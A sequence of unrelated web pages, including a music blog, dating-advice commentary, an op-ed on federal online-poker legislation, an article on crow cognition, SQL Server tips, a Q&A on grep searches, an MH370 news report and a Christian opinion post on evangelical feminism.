There's a song entitled Oh Yeah by Yello. It's a great song and I listen to it sometimes when I'm in one of those awesome feeling moods where I'm actually accomplishing things and my todo list is getting shorter as opposed to infinitely longer. Anyhow, I was thinking of writing some of the lyrics down and sending them via email to a friend, but when I write it down, it's totally unrecognizable and certainly doesn't get across the general feeling of the song.
But, hey--some songs are like that.
I wonder if folks who listen to symphony music have this problem. Do they resort to poetical descriptions? Something like this:
Rachmaninoff Prelude in C# minor is so beautiful--it fills my heart with
joyous melancholy!
Do they ever text message each other?
Yo! Rach PinCS rox!
It reminds me of this project I've had for a long time. I've always wanted to implement a barbershop quartet on a mud. How can I programmatically get across the difference in quality between an experienced quartet and one that's just starting out to the audience? That sort of thing fascinates me. Sometimes people ask me what I'm thinking about when I'm staring off into space. I'm probably thinking about barbershop quartets in mud-space.
Wed, 31 Mar 2004
David Berkeley
David Berkeley is a friend of a friend of mine and I was privelidged to see him play a month or so ago and it was a really great set. Anyhow, I finally got around to buying one of his albums--it's a really great album and I highly recommend it.
AMAZON::B00008KA60::The Confluence
His web-site (with some tunes you can download and test out) is at http://www.davidberkeley.com/.
You can (and should) also get his cds at CDBaby.com.
Thu, 25 Mar 2004
Tossing around getting an mp3 player
I'm tossing around getting an mp3 player again. My car only has a tape deck and the radio reception is kind of flakey for no apparent reason I can discern [1]. Also, I take the T around town frequently and it'd be nice to have a portable device that I can listen to at work, on my work commute, at home, on the T, and in other places.
I don't really need to upload my entire music collection. Having said that, I'm a mood-centric music listener and I have a bunch of different moods and it'd be nice to have at least 10 or 20 songs for each mood. Thus I've tossed around getting a hard-drive based player.
I'd rather have a player that doesn't require a fancy gui thingy on my host computer. Having said that, I realize those gui's are nice since they frequently build an index of the songs on the drive, so it makes boot up of the player much faster. I HATE Creative Labs Music Center (or whatever it's called). I've never used iTunes. I don't need something to categorize my life--just something to load songs onto the mp3 player.
I don't really care about size, but I'd like the player to fit in my pocket. I don't care about cool-factor. I don't care about user interfaces as long as I can select songs to play, play them, and skip songs I don't feel like listening to. I don't care about playing solitare or about organizing my life. A remote control would be nice but it's not necessary.
The battery has to last at least 6 hours and it's not acceptable for it to die in a year.
I don't want to pay a fortune. It has to be available at amazon.com.
And that's as far as I've gotten on this train of thought. Email willkg at bluesock dot org if you have ideas [2].
[1] - I could be parked NEXT TO the WBUR tower and all I get is hiss one day, but the next day it comes in just fine--heck if I know what the problem is.
[2] - I keep tossing around adding comments to my blog. I don't think that many people read it and want to comment on it and I don't feel like dealing with comment spam. Maybe I'll add it next week for a trial period to see if it works out or not.
Wed, 26 Nov 2003
If you're going to play the songs from The Wall, don't put your thingy on shuffle. I'd say it's a good idea never to shuffle a Pink Floyd album. | <urn:uuid:16d16214-6ed3-41d1-b8f9-9cbcd7461899> | http://bluesock.org/~willkg/blog/tag/music.html | en | 0.969649 | 0.020779 | mlfoundations/dclm-baseline-1.0-parquet |
Tag Archives: questions
13 questions you should ask on the first date?
Claire asks what I feel about 13 questions you should ask on the first date.
Now before I start, I’d point out I understand these are conversation starters and therefore will be thinking about them in the context of number 9 – social objects.
1. How often would you say you bring notecards to your dates?
I can’t take this one seriously… is the notecards a social object? Nope…
2. Are you a Beatles fan or an Elvis fan?
This question does give you a lot of information, its also a good way to get the person talking. Even if they look at you blankly, its still interesting. If I was to answer, I would mention the fact I spent most of my time with my head in the underground and some stuff about the Beatles, which my friends have heard a few times before.
3. Would you rather fight 100 duck-sized horses or one horse-sized duck?
This one reminds me of Oli‘s who would win in a fight at the beach between a Giant Squid and a Bear. Although I think they are silly, I guess that is the charm. I would advise against lots of this type of stuff because it can come across as slightly weird and kind of trivial. Maybe more of a nice ice breaker?
4. How do you feel about chick flicks?
Talking about movies isn’t a bad idea, but chick flick might cause slight abuse. What is the last film which made you laugh or cry is a favourite for me.
5. What’s the best book you read last year?
Yes this is a good question and I have been known to ask the question while speed dating.
6. What did you think about ‘Too Many Cooks’?
Ok this is might get back the response of a ? But if they have seen it, well I guess you can have a laugh or indepth discussion about sitcoms.
7. What is the airspeed velocity of an unladen swallow?
Geez! Really?
8. Do you love or hate Love Actually?
This falls into the same area as the chick flicks and too many cooks. Maybe best left alone.
9. Is Pluto a planet?
Nice but odd to put in a conversation, and the reply may not be that satisfactory unless you are both really geeky about space.
10. What’s your idea of the perfect date?
Ok good question at long last, although it can sound a little creepy
11. Do you have any allergies?
Yes a little creepy but actually quite a talking point (see my last post)
12. Star Wars or Star Trek?
Elvis or Beatles all over again. After my display of (lack of) knowledge about both at BarCampManchester5, I can really talk.
13. What’d you do today?
This is a good question (although I would say it in a different way), open ended and plenty of places to go afterwards. This is the kind of question you should be going for…
Questions Women In New Relationships Have
Single Black Male, why do you make me laugh so much but also shake my head so much?
For example here’s a post which had me doing both… 40 questions women in new relationships have answered. Here are the best/worst questions and answers with my own thoughts underneath. Check out the site for more…
3. How do I know if he’s just using me for sex?
He’s not. You can easily find someone to have meaningless sex without a title. (Note: If you are the type to call someone your boyfriend without actually having a conversation about it, then he may be using you for just sex and you rationalize it by calling him your boyfriend. Don’t worry it’ll make sense later.)
I see the logic, and to be honest its not far wrong
4. At what point is it appropriate to have the “where is this going” talk?
Whenever you want it to end.
5. Should I initiate that discussion or should he?
See above.
This one had me in stitches… But beyond the instant humor, that where is this going talk, certainly puts most people on the edge. You should know where its going and shouldn’t have to directly ask like that really.
8. What did he find when he Googled my name?
The same thing you’d find if you Googled your name. (PS – Stop Google’ing mofos! In a world that is losing all sight of tradition, can we at least keep face-to-face interaction as the best source of getting to know a person?!)
Keep googling but for goodness sake talk to your partner before jumping to conclusions. They deserve the right to explain themselves, even if you don’t like it.
12. Why did his last relationship really end?
The two of them were not meant to be. If you give it time, he’ll either tell you or you’ll stop worrying about it.
FFS! Stop worrying…
15. How long do we have to date before I meet his friends?
Not long but most men aren’t trying to hide you from their friends as much as they’re trying to protect you from their friends.
16. If he hasn’t invited me to meet them yet, is it because I embarrass him?
See above.
17. Why hasn’t he texted me yet? I hope he’s not with someone else.
Stop being paranoid.
Hearing this one…:) Sometimes there is a whole story which needs to be told before you can meet someone and explain the relationship. The embarrassment thing is unlikely unless you have weird quirks? And instead of “stop being paranoid” you should read about inner tantrum.
20. What if he thinks some of my friends are hotter than me?
He does, get over it.
Damm lay it out straight… :)
23. How he would he propose to me?
You’re getting way too far ahead of yourself.
24. Better yet, how much he would spend on a ring?
See above.
Seriously to both questions?
31. I wonder what his ex-girlfriend looks like?
Stop lying, you’ve got Facebook like the rest of us.
Indeed! Just like you googled his/her name, damn straight you did! See number 8.
37. Do I embarrass him?
Do you talk when you’re out with him? Yes? Then, yes.
Oh man… :(
39. What would he do if I slipped a finger in his ass while we’re doing it?
Either punch you in the face, blow his load, or reveal to you that he’s bisexual.
Oh man! Rolling on the floor laughing at this one, seriously…! LOL
Human insights in the data of Qriously
could the chromebook be googles ipad
Data is a really interesting but you already knew that… I hope…
Qriously insights reminds me of the excellent insights we use to get from OkTrends (okcupid’s blog) before Match.com bought it (wheres the cool insights now then?). In aggregation there are some really amazing things which can be pulled out. Qriously puts the power to ask the questions and define the sample and scope in a very simple way.
I’m hoping to be able to use it at Ignite Leeds to finally decide who should pay on the first date?
More details are due soon… but the Leeds digital festival looks great, well done to Imran and others. Thanks to Monica Tailor too… | <urn:uuid:329a4703-7dc9-4e54-a04d-cb692ee42c1e> | http://cubicgarden.com/tag/questions/ | en | 0.956066 | 0.027654 | mlfoundations/dclm-baseline-1.0-parquet |
Federal internet gaming legislation poses many risks for Georgia
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Though the bulk of Congress’s lame duck discussion will center around talk of fiscal cliffs and sequestration, a bill that would grant federal permission and regulation of internet poker is making a splash far greater than what would factor into the realms of possibility for a nation $16 trillion in debt.
The legislation would grant federal licensing for online gaming exclusively to internet poker, with all the rights and “privileges” of regulating the industry therein.
What it really can be called is an attempt by Senate Majority Leader Harry Reid to circumvent competition between states to enforce a gambling monopoly for Nevada.
Should it be implemented, prior-regulated land-based casinos, racetracks and machine manufacturers would be the only vendors eligible for an internet poker permit from the federal government for two years. Naturally, this gives Nevada a headstart on everyone else when it comes to navigating the new regulation.
With the ability to enforce regulations on their own terms gone in favor of federal intrusion, and while Nevada already holds an advantage, other states would be left behind.
Those are just the surface level flaws. Adding to the concern is the loss of revenue that would befall states under the federal tax structure that would be imposed. While the language states that 14% of the federal taxes collected would remain with the states, 30% of that would head to the state where the online poker licenser is located.
And where would that be? Nevada, more than likely.
In other words, Reid’s using Senate clout to push his personal agenda through; a worthy payback to the gambling-based donors who have kept his coffers full for years.
He’s been hard at work with the political chest-pounding, attacking Dean Heller, Nevada’s junior Senator, for failing to whip fifteen Republican votes to secure a veto-proof majority in the upper chamber. For his part, Reid’s promised forty-five. He openly refers to the bill as potentially “the most important issue facing Nevada since Yucca Mountain” and proclaiming its passage as “jobs for Nevada.”
For Georgians, the risk stems beyond whether or not Nevada is given a stranglehold on online gaming.
Funding for the HOPE Scholarship is dependent on lottery revenues. Following budget shortfalls, declining take-in by the Georgia lottery and an ever-increasing number of students, 2011 marked painful changes finally being made to the cherished program.
Siphoning off lottery revenues for the sake of more federal oversight is hardly in the best interest of Georgia’s citizens. This year has marked what would appear a turnaround for the Georgia Lottery’s fortunes, as the last fiscal year marked a record $3.8 billion in sales. In July, the Georgia Lottery Board let the bridge down on online lottery sales.
Yet Reid’s concoction would essentially serve as a death knell for lottery expansion into the online realm, depriving Georgia students of the HOPE funds that would come with such a move. Sympathizers point to an opt-out provision included in the bill, but regardless of that, states wouldn’t be able to offer intrastate gambling as they prefer. Basically, Harry Reid’s game would take states out of the game.
Earlier this year, Georgia Lottery President and CEO Margaret DeFrancisco sounded off the federal government making a play, calling the idea of federal intrusion on gaming regulation near “insulting.”
Already both the National Governor’s Association and National Conference of State Legislators have denounced the measure, and five governors (three Democrats, two Republicans) have directly petitioned Washington. It’s not an issue of partisanship, but of common-sense.
Capitol Hill sources tell Tipsheet that both Congressman Lynn Westmoreland and Senator Johnny Isakson are among those on the fence when it comes to supporting the measure. Their votes against such intrusive measures, which serve Harry Reid’s political interests rather than Georgians, are vital in defeating the bill.
Ultimately, it’s no more than a fifty-state bill for a one-state problem, and it’s ripe with potential issues for Georgia.
-Dome Confidential
Leave a Comment. | <urn:uuid:68ca90a6-f049-4601-97eb-0ff5c9deef8a> | http://georgiatipsheet.com/2012/11/14/federal-internet-gaming-legislation-poses-many-risks-for-georgia/ | en | 0.94919 | 0.024372 | mlfoundations/dclm-baseline-1.0-parquet |
Crows could be the key to understanding alien intelligence
Crows are among the planet's most intelligent animals, teaching their young to use tools for foraging and banding together to fight off intruders. Now, the first study of how abstract reasoning works in these birds' brains could shed light on how intelligence works in a truly alien, non-mammal brain.
Illustration by Tiger-tyger
We've studied brain structure pretty extensively in mammals from humans and apes to whales and mice. But German neuroscientists Lena Veit and Andreas Nieder are the first to watch what happens in crow brains as these birds worked their way through a series of brain-teasers. They actually wired the crows' brains up with electrodes, watching as individual neurons fired when the crows did a test that required abstract reasoning. What Veit and Nieder found reveals a lot about what intelligence looks like in a brain that's nothing like our own.
The Evolution of Intelligence
The crow, and some of its relatives in the corvid family (such as jays and magpies), are among the only intelligent species we've encountered outside the world of mammals. But their brains are utterly different from ours. The mammalian seat of reason is in our prefrontal cortex, a thin layer of nerve-riddled tissue on the outside of the front region of our brains. Birds have no prefrontal cortex (PFC). Instead, they have the nidopallium caudolaterale (NCL), which is located toward the middle of their brains. You can see the different regions in the image, below.
Crows could be the key to understanding alien intelligence
The thing that's really interesting about comparing bird and human intelligence is that we did not evolve from a common, intelligent ancestor. Our last common ancestor with birds lived during the Permian period, about 300 million years ago, before the age of dinosaurs. It probably looked like a cross between a reptile and a rodent, and was roughly the size of a big raccoon.
This ancestor's simple brain was ruled by instinct rather than higher-level cognition. Still, lurking inside its rather small skull was a brain part called the pallium, which over millions of years evolved into the PFC in mammals and the NCL in birds. That makes mammal and bird intelligence an excellent example of parallel evolution — both groups of animals developed intelligence independently of one another.
Despite all their differences, the PFC and NCL have a few features in common. Veit and Nieder write in Nature Communications that both regions are involved in "working memory, reversal learning and reward prediction." The areas also "share important properties such as dense innervation by dopaminergic fibres and connectivity patterns with multiple sensory input, limbic and motor output regions." What that means is that the NCL and PFC are both packed with neurons, or nerve cells, that respond to the crucial neurotransmitter dopamine. Its neurons are also connected to the parts of the brain that handle memory, emotion, and body movements. The PFC and NCL are brain command centers, synthesizing information from a vast array of inputs and outputs.
Testing Crows' Ability to Reason
Given that the NCL is the seat of crow intelligence, the researchers decided to see whether they could actually watch in real time as a crow figured out a puzzle. They used crows that had been raised in captivity, and trained to do a test kind of like the Sesame Street "which one doesn't belong?" quiz. The crows had to identify whether two images were different or the same.
First, the researchers put electrodes over the crows' NCL, to watch each neuron firing. Then they would present the crow with an image. Next, the crow would be prompted to choose an image that matched or didn't match that image (they had already been trained to do this with a sound or sign that either meant "match" or "don't match"). Finally, the crow would be presented with two images and have to choose the matching or not matching one.
Crows could be the key to understanding alien intelligence
This is a test that requires abstract reasoning, because the images change all the time and the crows have to apply the abstract idea of "match" or "not match" to a variety of inputs. In addition, this test reveals that the researchers defined intelligence as an ability to do abstract reasoning. Obviously there are many ways to define intelligence, and this is simply one way to do it.
What the researchers found was pretty amazing. They identified what they call "abstract rule neurons" which governed which answer the crows would give. Basically, the birds' brains assigned one rule (match) to one neuron, then the other rule (don't match) to another neuron. When the crows correctly matched an image, the match rule neuron would fire. When the crow gave an incorrect answer, or became confused, the abstract rule neuron fired only very weakly.
Veit and Nieder concluded that this was strong evidence that crows' brains have developed to handle abstract rules, which is why the birds are good at learning and responding to a variety of situations in a flexible way. They note that "the ability to guide behavior by general rules rather than by relying on fixed stimulus-response associations constitutes a survival advantage." This is the same survival advantage conferred on humans due to our intelligence. But our intelligence occupies a very different structure in our brains.
Alien Intelligence on Earth
What this experiment suggests is that two dramatically different species might have similar abstract reasoning abilities — even if their brains are completely unlike each other. If we imagine that intelligence can only dwell in a mammal-like brain, we may miss out on discovering smart life forms elsewhere. The crow brain may be the first truly alien intelligence we've been able to study.
The crow brain may also help us better understand what's required to build an artificial intelligence, too. We can look at what the crow and human brain share in common, and speculate about what it might take to create an intelligence that resides in a non-brain structure. As I mentioned earlier, both the PFC and NCL contain many neurons connected to other parts of the brain, and they work a lot with the neurotransmitter dopamine. These regions also appear to deal in abstract rules.
Most of all, we can find hope in the idea that intelligence isn't just a quirk of one type of brain. Many kinds of brains can become intelligent. We are not alone.
Read the scientific paper in Nature Communications
Annalee Newitz is the editor-in-chief of io9. She is also the author of Scatter, Adapt and Remember: How Humans Will Survive a Mass Extinction. | <urn:uuid:0506d40b-435d-4f3e-8be8-0c329cff30ee> | http://io9.com/i-wish-crows-were-more-advanced-i-want-to-see-a-some-s-1485072431/@tipsyt-rex | en | 0.958838 | 0.680137 | mlfoundations/dclm-baseline-1.0-parquet |
Concept Art Writing Prompt: Shark Isle
This week's writing prompt takes us to a mysterious floating island with very big teeth. Is it a living landscape? A supervillain's lair? Or something else entirely?
Shark Isle is the work of artist Kendrick See, via r/AlternativeArt. As always, we invite you to come up with a story inspired by this image and post it in the comments. | <urn:uuid:2b9b995c-2e3c-4212-87ca-fc565d20fdd2> | http://io9.com/when-the-architect-from-olufemi-vile-showed-her-the-p-1596725100 | en | 0.903565 | 0.031657 | mlfoundations/dclm-baseline-1.0-parquet |
In a scene we can only imagine was deleted from the remake of Footloose, a high school kid challenges a school administrator to a motherfucking DANCE OFF. At least, that's what I think is happening, he might also be running from a mouse? Either way, it's pretty much the funniest, sweetest, and weirdest thing we've seen all day, and I'm pretty sure I want to marry that whole school. EVERYBODY CUT!
[Update: Lizer78 points out in the comments, this is Whitney M. Young High School in Chicago, the very high school Michelle Obama went to. That's it, I'm officially enrolling my unborn children there!] | <urn:uuid:d14fe6dd-3b58-4b92-ade1-d1ad647393c8> | http://jezebel.com/5954687/this-dance-off-between-students-and-school-administrator-is-the-best-teen-movie-weve-ever-seen?tag=teachers | en | 0.977288 | 0.293127 | mlfoundations/dclm-baseline-1.0-parquet |
Where Is Your Freaking Polling Place? How to Find It, Fast
If you're like me and spent much of your 20s moving every ten days (what? relationships and rent are hard!), you probably visited a different polling place every year. Well, now that I'm aged and settled, I know where to do things like vote and get my dentures adhesed; but back in the day, a site like Find Your Fucking Polling Place woulda been THE BEST. So, here you go, young and carefree youth, get out the vote, you spirited motherfuckers! | <urn:uuid:b32b65bd-5c3f-475d-9e52-0ed80a509080> | http://jezebel.com/5958009/where-is-your-freaking-polling-place?tag=voting | en | 0.958305 | 0.712618 | mlfoundations/dclm-baseline-1.0-parquet |
What is the value of local TV news?
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Despite the Internet’s adoption as a leading source of news and information, local TV stations still hold significant sway in the political and social discourse of communities large and small. In survey after survey, around 70% of Americans say they rely on their local TV brands for information about local weather, traffic and breaking news.
With this, local stations are aggressively migrating to on-demand and mobile, restructuring models of content and production, breaking down the ad/edit wall further, downsizing, consolidating, and sharing or outsourcing reporting. What are the risks of major changes like station consolidation or pay-for-play ads? What innovations in local TV news hold the most promise to serve the public good? | <urn:uuid:cf240149-e95f-467e-b80d-9d7969c67ff1> | http://journalismaccelerator.com/journalism-questions/what-is-the-value-of-local-tv-news/ | en | 0.906437 | 0.597268 | mlfoundations/dclm-baseline-1.0-parquet |
Top 10 T-SQL tips for improved SQL Server development
Learn to script SQL Server backups, why T-SQL in SSIS has pros and cons and workarounds for T-SQL code causing SQL Server performance problems.
Having difficulty with your T-SQL programming extensions or simply want to make improvements within your SQL Server development? We've compiled a Top 10 list of the most popular tips your peers are reading. Find out how to script SQL Server backups, why T-SQL in SSIS has pros and cons and what to do about poorly written T-SQL code that's causing performance problems.
1. Restore basics: How to restore using T-SQL commands
Find out how to script your SQL Server backups or restores.
2. Stored procedure: Execute T-SQL code from a file
Need to execute T-SQL code in a file from within other T-SQL code? Existing routines used to execute T-SQL code from a file, without using osql and xp_cmdshell, have many limitations. The sp_ExecuteSQLFromFile stored procedure addresses the shortcomings and adds new functionality.
3. T-SQL performance problems and solutions
Don't assume all SQL Server performance problems are database-related. Poorly written T-SQL code could be to blame. Learn about common problems and workarounds in this clinic.
4. How to debug T- SQL stored procedures
These easy-to-use graphical debugging tools in Visual Studio 2005 will help simplify the process of unit testing your T-SQL code.
5. Pitfalls of using T-SQL cursors
Cursors have a bad reputation: They're considered poor performers, resource hogs and a favorite tool of every inexperienced DBA. But they do have a place. Contributor Hilary Cotter explains how cursors work and their pros and cons.
6. T-SQL in SSIS: The power and the weaknesses
Using T-SQL vs. the Data Flow task in SQL Server Integration Services (SSIS) is a decision dependent on a number of factors. Serdar Yegulalp shares some things to consider, including data origin, operation complexity, stored procedure purpose and whether the data is likely to change in SSIS.
7. Developing with SQL Server 2005 Express
With SQL Server 2005 Express Edition, Microsoft offers a feature-rich tool set with a familiar interface free of charge. Edgewood Solutions' Jeremy Kadlec provides an overview of this SQL Server version that includes Management Studio Express.
8. Writing T-SQL functions to SQL Server system schema
When dealing with many applications that need similar functionality, often the best thing to do is to write functions directly to your SQL Server system's schema. This will enable all databases within the server to execute the function as though it was a regular expansion of the T-SQL language. This how-to will take you through the process.
9. T-SQL and PL/SQL languages for database-independent applications
Common languages in T-SQL and PL/SQL exist to allow developers to write applications in database-independent environments. Common languages and interfaces such as ANSI and ODBC offer solutions to the database interoperability problem.
10. Getting an environment variable value using T-SQL
There are times when passing parameters does not work. For example: when dealing with DTS packages or when an external (non-SQL Server) platform activates a process inside a SQL Server environment. Here's how to solve the problem by setting an environment variable in the Windows operating system and then getting its value inside the SQL Server environment.
This was first published in June 2007
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Possible Duplicate:
Search for a text pattern in linux
In bash, I was wondering if there were any commands that would let you know if a particular string you are looking for exists within the files located in the current directory you are in.
Say you are looking for the function 'toUpperCase()' within a set of C files in your current directory. There are a lot of files, so you wouldn't want to manually open each one up using vim and check for the string 'toUpperCase' because that would take a lot of time. If not a bash command line, is there another method to do this efficiently?
share|improve this question
migrated from programmers.stackexchange.com Oct 10 '11 at 20:33
marked as duplicate by Diago Oct 11 '11 at 19:09
8 Answers 8
up vote 20 down vote accepted
With grep:
grep -R "toUppercase()" *
Or, if you have ack-grep installed, simply:
ack-grep "toUppercase"
If you want to limit the search in C files, with ack-grep:
ack-grep -cc "toUppercase()"
ack-grep can also be installed on OSX but the executable is called just ack.
share|improve this answer
So much so that SO already has a suspiciously similar question ;) – David Perry Oct 10 '11 at 20:27
Thanks a lot for making me aware of ack! – Xv. May 12 '13 at 10:31
The standard text search tool is grep.
To look for the string toUpperCase( in all .c files in the current directory:
grep -F 'toUpperCase(' *.c
If you want to look in subdirectories as well:
grep -r --include='*.c' -F 'toUpperCase('
If you're looking for C function calls, then ctags may be a better fit. You run it once on all your source files to create an index of identifiers, then use your editor to navigate between calls. All vi-like editors can use ctags's TAGS file. If you use Emacs, run the similar program etags.
share|improve this answer
ctags is useful for finding function definitions, not function calls. – JdeBP Oct 11 '11 at 12:17
You're using vim. You've got a tool to do this built in.
Predictably, there are seven answers already saying to use grep. But I seem to be the only person thus far who has noticed from your question that you are using vim. As such, although you can use grep from within vim, you can also use vim's built-in tool. This is invoked via the :vimgrep command.
To search "all of the C source files in the current directory for calls to the function toUpperCase()" one types the vim command
:vimgrep "\<toUpperCase\_s*(" *.c
The resulting list of matches is automatically loaded up into the quickfix list, accessible with either of (see the on-line help for the subtle difference)
To find the function definition, rather than calls to it, ctags is the tool, as mentioned in Gilles's answer, in conjunction with the :tjump or :tselect commands.
Why use :vimgrep?
The on-line help (:help grep) enmumerates several of the reasons, which I won't parrot here. Further to those, compare the action of :vimgrep with that of dietbuddha's answer. dietbuddha's command line forks an individual grep process for each individual C source file. It doesn't even employ xargs to reduce that overhead. And you still have to somehow parse the output to invoke your text editor on the relevant source files once it is finished. :vimgrep doesn't fork off multiple additional processes at all, and using the result is simplicity itself. Merely selecting one of the entries in the resultant quickfix list automatically positions the cursor on the relevant line of the relevant source file.
In fact, it does exactly what you wrote you would do by hand, except automatically. It's the automated way of doing those very text editor actions. It loads up the file as if loaded by hand, searches it for a regular expression (using the same regular expression syntax that you are already using elsewhere in vim), records the places where matches occur, and then unloads the file.
share|improve this answer
Yes, the tool is called grep.
Basic usage is:
grep something somewhere
Or, more specifically:
grep [some options] pattern file
In a very simple case, you recursively want to search through all files, thus you supply the -r option. If you don't care about uppercase or lowercase, make it case-insensitive with the -i option.
grep -ri "touppercase()" .
If you want only the matching parts, use the -o option.
Grep can use regular expressions, and it has a huge manual.
share|improve this answer
grep is the standard answer -- using either the -r flag to search recursively or in conjunction with find (discussion and examples in other questions on this site, such as this one)
My preferred choice lately is ack. It's not likely installed on your computer, but you can install using apt-get on Ubuntu or simply download. Links, instructions, and reasons that it's better than grep are available at http://betterthangrep.com/
share|improve this answer
Grep will do the trick but a bit of additional scripting will help to find the name of the file and the exact line referenced. If that is what you want I find the following works well. I have it saved as a shell script and pass it the value I want as first command line option.
for i in $(ls)
cat $i 2> /dev/null | grep $1 > /dev/null 2>&1
if [ $STATUS -eq 0 ] ; then
echo $i
cat $i | grep -n $1
share|improve this answer
grep has a -H option which does this already. grep -Hn whatever * – Roy Rico Oct 10 '11 at 21:33
Learn something new every day.. Thanks @Roy Rico – Tim Brigham Oct 11 '11 at 13:05
find and grep
find myproject -name '*.c' -exec grep 'toUpperCase(' {} \; -print
why not only grep?
grep -r string . will recurse through all file in the current directory. If you have object files or other binaries you may get a match back with binary results aka. junk. If you also happen to have fifos or device files in your subdirectory you may have unknown/unintended consequences.
grep string *.c only searches the current directories .c files.
grep string **/*.c does search all subdirectories. However, if you have a very large number of .c files you do run the risk of exceeding the maximum number of expansions for the shell glob. The expansion also has to happen first which means a full tree traversal before it the grep begins.
share|improve this answer
I find it interesting that no one has answered your specific question: "how do I find whether a particular string exists within the files located in the current directory". As far as I know there is no grep option that only returns whether a match has been found in a group of files. The closest option is -l to list the filename(s). The closest answer among those so far is from tim, with some slight tweaks:
for i in $(ls *.c 2> /dev/null)
if [ $STATUS -eq 0 ] ; then
echo "Found"
echo "Not found"
You could make this shell script more generic by accepting a second argument for the file extension without too much trouble.
share|improve this answer
| <urn:uuid:b0b15c8c-6199-48b5-aba8-c1c7b153f60c> | http://superuser.com/questions/345101/bash-is-there-a-way-to-search-for-a-particular-string-in-a-directory-of-files/345195 | en | 0.900282 | 0.442411 | mlfoundations/dclm-baseline-1.0-parquet |
China will not give up the search for the missing Malaysian Airlines flight, MH370, "as long as there is a glimmer of hope", its premier has said.
Of the 239 passengers on the aircraft, which vanished without trace on Saturday, 153 were Chinese citizens.
Live Box 201439182735882801
Premier Li Keqiang told a news conference on Thursday: "Those people's families and friends are burning with anxiety. The Chinese government and the Chinese people are all deeply concerned about their safety. We are all eagerly awaiting news about the plane, even the slightest piece of good news."
China had eight ships taking part in the search efforts, with a ninth on its way, and had deployed 10 satellites, he said.
"We will not give up on any suspected clue that has been found," Li said, after the end of the annual session of the National People's Congress.
His remarks came as the Wall Street Journal reported that the aircraft remained airborne for hours after its disappearance from radars.
The US paper said that aviation investigators and national security officials believed the plane flew for a total of five hours based on data automatically downloaded and sent to the ground from the Boeing 777's engines, as part of a routine maintenance and monitoring programme.
False leads
The plane was heading east over the South China Sea when it disappeared, but authorities believe it may have turned back and headed into the upper reaches of the Malacca Strait or beyond.
The hunt for MH370 has been punctuated by false leads since it vanished hours after leaving the Malaysian capital Kuala Lumpur for Beijing early on Saturday.
Malaysia's civil aviation chief said no signs of the missing Malaysian aircraft MH370 had been found at a location where Chinese satellite images showed what was thought to be plane debris floating in the South China Sea.
Datuk Azharuddin Abdul Rahman said planes searched the location on Thursday. "There is nothing. We went there, there is nothing," he told reporters in Kuala Lumpur.
Vietnamese officials previously said the area had already been "searched thoroughly" in recent days.
Flight code retired
On Thursday Malaysia Airlines said it had retired the missing aircraft's flight code as a sign of respect to the passengers and crew on board.
MH370 was used for the Kuala Lumpur-Beijing route and MH371 for a return flight but, from Friday, Malaysia Airlines will instead use flight codes MH318 and MH319 for the same route.
Source: Agencies | <urn:uuid:409455d5-cdb0-49bc-962a-288d9b8cd29e> | http://www.aljazeera.com/news/asia-pacific/2014/03/china-will-not-give-up-malaysia-mh370-201431345238173432.html | en | 0.966264 | 0.0306 | mlfoundations/dclm-baseline-1.0-parquet |
BEGIN:VCALENDAR VERSION:1.0 BEGIN:VEVENT CATEGORIES: SPECIAL OCCASION;TRAVEL;APPOINTMENT STATUS:NEEDS ACTION DTSTART:20130223T000000 DTEND:20130223T000000 SUMMARY:Full Moon Owl Prowl for All Ages DESCRIPTION;ENCODING=QUOTED-PRINTABLE:Event Name: Full Moon Owl Prowl for All Ages=0D=0AEvent Url: Date Begin: 2013-02-23=0D=0AEvent Date End: 2013-02-23=0D=0A=0D=0AEver wondered if an owl really is as smart as they say? Why don't we hear them when they fly? Just how far can an owl see? Come with the whole family under the moon to learn about owl calls, behavior and habitat and search for our frequent evening owl visitors, the screech owl and great horned owl.=0D=0A=Pre-registration required. Online registration available. CLASS:PRIVATE PRIORITY:3 END:VEVENT END:VCALENDAR | <urn:uuid:8ca104f1-9e52-4e0e-a6c0-209deb6e8d26> | http://www.artsboston.org/calendar/event/outlook/441655499 | en | 0.744402 | 0.30264 | mlfoundations/dclm-baseline-1.0-parquet |
Friday, July 30, 2010
Brilliant (but unflattering) picture of evangelical feminism
Here, courtesy of The Brave Lass via The Brothers Bayly. Why such a brilliant picture of evangelical feminism? Let me count the ways:
1. The CBE author is a member of an Episcopalian church, not generally considered "Evangelical" to begin with. Evangelical feminism is liberalism masquerading as orthodoxy.
2. The author makes the charge that 500 years of Protestant Bible translation has wrongly "masculized" the Scripture, and is "revising" the Word to conform to her views. Obviously those great men of God who translated the Scriptures--and directly or indirectly taught her every bit of Greek and Hebrew she knows--did not know Greek and Hebrew. Look for the new translation to make the "NGV" (TNIV) look positively patriarchal in comparison.
3. Look at those demands; no Christian humility for the author, let alone an actual argument from Scripture. Nope, it'll be demands; "We're fierce, we're feminists, and we're in your face!" That's the way to present your ideas humbly, winning them without a word.
4. Notice the new name for God; "Godde." Just as Christians seek to distance themselves from the word Allah in some lands, so do these ladies seek to distance themselves from the God of Abraham, Issac, and Jacob. (and doing a great job, mind you....not that I encourage it)
5. Notice the conference was in Seneca Falls--home of a famous early feminist convention attended by sundry homewreckers.
My favorite part is the demand; a demand, of course, must be made by one who believes he has the right to require an action of something. In theological matters such as these, a demand is properly a superior of an inferior.
That is, in a nutshell, where evangelical feminism leads. It does not content itself with equality, but aims to overturn the created order--and ahem, not just with regards to men, but also with regards to God. They are not renaming Him, they are replacing Him--and (#2) His Word.
If so and so were alive today....
Having been to more funerals than I would have liked to attend in the past year, it is from time to time tempting to consider "well, what would so and so have said about such and such if they were in this room today?" It could be Patton on handling our current wars, or Friedman about the current economic situation, my great aunt about education, or my mom about dietetics.
And when I consider those thoughts, I remind myself that if they were to come back, they wouldn't be talking about economics, war, education, or food. They'd be talking about the Savior, our need to know Him, the joys of being with Him, and the terrors of being separated from Him. How much of our lives seems so significant to us until we realize that it's just a temporary situation....
Triumph of the book.....
Not THE Book, but books in general. As I consider how many Christians seem to view a Bible translation isn't useful anymore after twenty or thirty years, I consider the Yiddish language.
Why so? Well, Yiddish is effectively a Hebrew-accented Middle High German. Not modern high German dating from the 1500s and Luther (and greatly changed since then), but Middle High German--dating really from the 11th Century. Until about a century ago (when Hebrew became the "lingua Judaica"),virtually all Ashkenazi Jews from Russia to England (and even the United States and Canada) could speak with, and write to, each other in a Yiddish that could have been understood by the original Ashkanzi Jews in the 12th Century along the Rhine.
Anyone who has ever tried to read, say, Chaucer in the original knows that, linguistically speaking, this is an extraordinary accomplishment. What led to this?
